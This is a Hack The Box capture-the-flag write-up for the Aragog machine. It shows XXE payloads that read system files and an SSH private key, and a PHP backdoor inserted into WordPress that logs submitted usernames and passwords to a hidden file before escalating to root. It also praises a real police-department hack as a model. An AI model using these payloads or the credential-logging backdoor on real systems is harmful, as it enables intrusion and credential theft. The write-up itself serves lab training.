Hack the Box - Aragog Write up




Initial Scanning

Like with every hack the box machine lets begin with an nmap scan against aragog (

# Nmap 7.70 scan initiated Sat May 12 19:49:54 2018 as: nmap -T4 -sC -A -n -v -p- -oA inital_scan
Increasing send delay for from 0 to 5 due to 883 out of 2206 dropped probes since last increase.
Nmap scan report for
Host is up (0.14s latency).
Not shown: 65532 closed ports
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21 16:30 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
|   256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_  256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Uptime guess: 17.011 days (since Wed Apr 25 19:49:01 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
1   144.05 ms
2   144.26 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 12 20:05:33 2018 -- 1 IP address (1 host up) scanned in 939.01 seconds

From our scan we can see that we have three services available for us to explore. FTP on port 21 which has anonymous login enabled, ssh on 22, and a webserver on port 80.

Enumerating FTP (test.txt)

Lets connect to the ftp server with the anonymous user.

root@dastinia:~/htb/aragog# ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
226 Directory send OK.

We see there is a single file called test.txt

ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
86 bytes received in 0.00 secs (53.2220 kB/s)
ftp> quit
221 Goodbye.

Looking at the test.txt file we see some data related to a subnet_mask, which looks like it might be XML formatted data…

root@dastinia:~/htb/aragog# cat test.txt

Enumerating Port 80

Upon visiting the server on port 80 you are shown the default apache page.

"Default Apache Page"

Running gobuster against the site reveals that the page hosts. php` is available.

root@dastinia:~/htb/aragog# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_aragog

Gobuster v1.2                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,403,200
[+] Extensions   : .php,.html
/index.html (Status: 200)
/hosts.php (Status: 200)

Visiting hosts.php you see the following landing page…

"Aargog hosts page "

The page states that: There are 4294967294 possible hosts for.

Looking backwards, let’s take a took at test.txt

test.txt states that our subnet mask is, we attempt to do the calculation but realize that we can’t do subnet math in our head! Oh my, we should have paid more attention in intro to networking college! We quickly go back to school and rack up an additional 90,000 USD of student loan debt and we realize that is a /26 which has a maximum of 62 usable hosts per network with 4 possible networks available which means (62 * 4 ) = 248 total possible hosts for the test.txt subnet.

With our near almost complete accredited university enducation education, we that 4294967294 does not equal 248. With our new found knowledge we attempt to send a POST request with the data provided by test.txt in the body of the request.

We see the application react in the following manner….

"Subnet Calculation Arargon"

Interesting, the application reacted just as expected. Let’s attempt a simple XXE injection since we know the application is parsing our input from the requests due to the change in response, and the data is likely XML formatted.

Our payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>





"XXE reading /etc/issue"



Reading florian’s ssh private key

Since we are able to read files on system, we can potentially read sensitive files on the box. By reading the contents of /etc/passwd we know that florian and cliff are users on this box & their login shells are set to /bin/bash/

"Contents of /etc/passwd"

We attempt the user.txt file for both users, and you discover that’ florian’s user is the user we are going after.

"Florian user.txt"

We know that ssh is an available service on the box, so let see if florian has an ssh private key for his user.

xml payload

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>





"SSH Private key"

Florian ssh_private key


Lets see if we can login with the key

root@dastinia:~/htb/aragog# ssh -i florian_id_rsa florian@
Last login: Sat Jul 21 05:52:00 2018 from
florian@aragog:~$ id
uid=1000(florian) gid=1000(florian) groups=1000(florian)

Look’s like the login was successful. Let’s take a peak at hosts.php real quick

florian@aragog:/var/www/html$ cat hosts.php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $details = simplexml_import_dom($dom);
    $mask = $details->subnet_mask;
    //echo "\r\nYou have provided subnet $mask\r\n";

    $max_bits = '32';
    $cidr = mask2cidr($mask);
    $bits = $max_bits - $cidr;
    $hosts = pow(2,$bits);
    echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n";

    function mask2cidr($mask){
         $long = ip2long($mask);
         $base = ip2long('');
         return 32-log(($long ^ $base)+1,2);


Privilege Escalation

Discovering dev_wiki wordpress site

Interesting we see additional content is being served up in our var/www/html directory.

florian@aragog:/var/www/html$ ls -la
total 68
drwxrwxrwx 4 www-data www-data  4096 Jul 21 05:55 .
drwxr-xr-x 3 root     root      4096 Dec 18  2017 ..
drwxrwxrwx 5 cliff    cliff     4096 Jul 21 05:55 dev_wiki
-rw-r--r-- 1 www-data www-data   689 Dec 21  2017 hosts.php
-rw-r--r-- 1 www-data www-data 11321 Dec 18  2017 index.html
-rw-r--r-- 1 florian  florian  36650 Jul 21 05:55 wp-login.php
drw-r--r-- 5 cliff    cliff     4096 Dec 20  2017 zz_backup

Inspecting the contents of the dev_wiki directory, we see that it’s a WordPress blog. Additionally it seems that we have full control over the dev_wiki directory. Let see if we can visit the dev_wiki WordPress site in our browser.

But before we do that we need to add aragog as an entry in our /etc/hosts file first.

echo " aragog" >> /etc/hosts

"Dev Wiki Wordpress"

Looking at the blog we see that there’s only one post. Stating that cliff will be logging in regularly.

"Cliff's Message"

Lets see what the username/password of the mysql database is…

florian@aragog:/var/www/html/dev_wiki$ cat wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp_wiki');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h');

/** MySQL hostname */
define('DB_HOST', 'localhost');

Let’s have a look at the wordpress database & see if we can discover any WP user passwords we can crack.

florian@aragog:/var/www/html/dev_wiki$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 55
Server version: 5.7.20-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wp_wiki            |
5 rows in set (0.03 sec)

mysql> use wp_wiki;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
| Tables_in_wp_wiki     |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
12 rows in set (0.01 sec)

mysql> select * from wp_users;
| ID | user_login    | user_pass                          | user_nicename | user_email      | user_url | user_registered     | user_activation_key | user_status | display_name  |
|  1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | it@megacorp.com |          | 2017-12-20 23:26:04 |                     |           0 | Administrator |
1 row in set (0.01 sec)


We attempt to crack the hash with john the ripper & the rockyou wordlist but was unsuccessful so likely this is unrelated.

Performing process monitoring with pspy

While doing your enumeration you would notice that the dev_wiki directory was getting deleted constantly on every few minutes or so. To get a better idea of whats going on we can try to monitor the running processes on the box.

Hack the box Member 0b5cur17y created a fantastic tool called pspy. It’s very common for HTB machines to require to guess random crontab stuff or find parameters/process commandlines. If you view the original thread you will understand what I mean.

using pspy to discover wp-login.py

florian@aragog:/tmp/.ps$ wget -q
florian@aragog:/tmp/.ps$ chmod +x pspy64
florian@aragog:/tmp/.ps$ ./pspy64

After some time we see that there is a cronjob that is constantly deleting the dev_wiki folder & replacing it with the backup folder… & a script wp-login.py is ran shortly after that process happens.

"restore.sh & wp-login.py Cronjob Task"

2018/07/21 06:35:01 CMD: UID=1001 PID=3870   | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py
2018/07/21 06:35:01 CMD: UID=0    PID=3869   | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=1001 PID=3868   | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py
2018/07/21 06:35:01 CMD: UID=0    PID=3867   | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=0    PID=3866   | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=0    PID=3872   | rm -rf /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=0    PID=3871   | /bin/bash /root/restore.sh
2018/07/21 06:35:01 CMD: UID=0    PID=3873   | cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=1001 PID=3875   |
2018/07/21 06:35:01 CMD: UID=1001 PID=3874   | sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2>/dev/null
2018/07/21 06:35:01 CMD: UID=0    PID=3878   | chown -R cliff:cliff /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=0    PID=3879   | chmod -R 777 /var/www/html/dev_wiki/

If you google wp-login.py and we find the following Github Gist of wp-login.py

Remember that blog post? “I’ll be logging in regularly”

Backdooring Wordpress to Log Requests & Getting Root

So there’s a few possible ways we can try to accomplish this. Backdoor wp-login.php to send a request to our server with the login details or have wordpress log the post requeset to a file. We can also modify the wp-includes\user.php login function hook to log the username & password to a file.

This part was a bit troubling since there were a few ways to accomplish this task, and depending on which path you took. I consulted with some other HTB members & a good chunk of them went the wp-login.php route which I felt like was much harder.

There’s a few good examples of how to “Backdoor Wordpress”, but I think the best example I’ve ever seen of backdooring a wordpress site was when phineas fisher hacked the catalan police department. It was very simple, clean, and pretty discrete. I honestly think this dude is a legend, and he recorded how he did it & posted it on the internet for people to learn. Some fantastic learning can be done from the video of the hack he did, I highly recommend watching it in full. (Also an obglitatory #hackback)

Video Phineas Fisher Hacks Catalan Police Department stop watching at: 30:01.

backdoor php code

file_put_contents("wp-includes/.m.php","WP :" . $_POST['log']
    . " : " . $_POST['pwd'] . "\n", FILE_APPEND);

"Backdooring wordpress-includes/user.php"

We run some tests & we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log.

florian@aragog:/var/www/html/dev_wiki/wp-includes$ cat .m.php
WP :tsst : test
WP :Administrator : !KRgYs(JFO!&MTr)lf
WP :medic : medic

getting root

florian@aragog:/var/www/html/dev_wiki/wp-includes$ su root
root@aragog:/var/www/html/dev_wiki/wp-includes# id
uid=0(root) gid=0(root) groups=0(root)
root@aragog:/var/www/html/dev_wiki/wp-includes# cat /root/root.txt

Lets take a peak at restore.sh & wp-login.py


root@aragog:~# cat restore.sh
rm -rf /var/www/html/dev_wiki/
cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
chown -R cliff:cliff /var/www/html/dev_wiki/
chmod -R 777 /var/www/html/dev_wiki/


root@aragog:/home/cliff# cat wp-login.py
import requests

wp_login = ''
wp_admin = ''
username = 'Administrator'
password = '!KRgYs(JFO!&MTr)lf'

with requests.Session() as s:
    headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
        'log':username, 'pwd':password, 'wp-submit':'Log In',
        'redirect_to':wp_admin, 'testcookie':'1'
    s.post(wp_login, headers=headers1, data=datas)
    resp = s.get(wp_admin)

That’s all for now folks.